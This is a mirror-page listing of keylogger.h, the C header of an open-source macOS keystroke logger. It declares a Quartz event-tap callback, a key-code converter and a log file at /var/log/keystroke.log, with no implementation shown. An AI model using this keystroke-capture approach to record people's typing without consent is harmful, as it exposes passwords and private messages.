1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00
OSX-Keylogger/keylogger.h
2013-09-16 21:21:27 -04:00

17 lines
505 B
C

#ifndef __KEYLOGGER_H__
#define __KEYLOGGER_H__
#include <stdio.h>
#include <time.h>
#include <string.h>
#include <ApplicationServices/ApplicationServices.h>
#include <Carbon/Carbon.h>
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
FILE *logfile = NULL;
const char *logfileLocation = "/var/log/keystroke.log";
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
const char *convertKeyCode(int);
#endif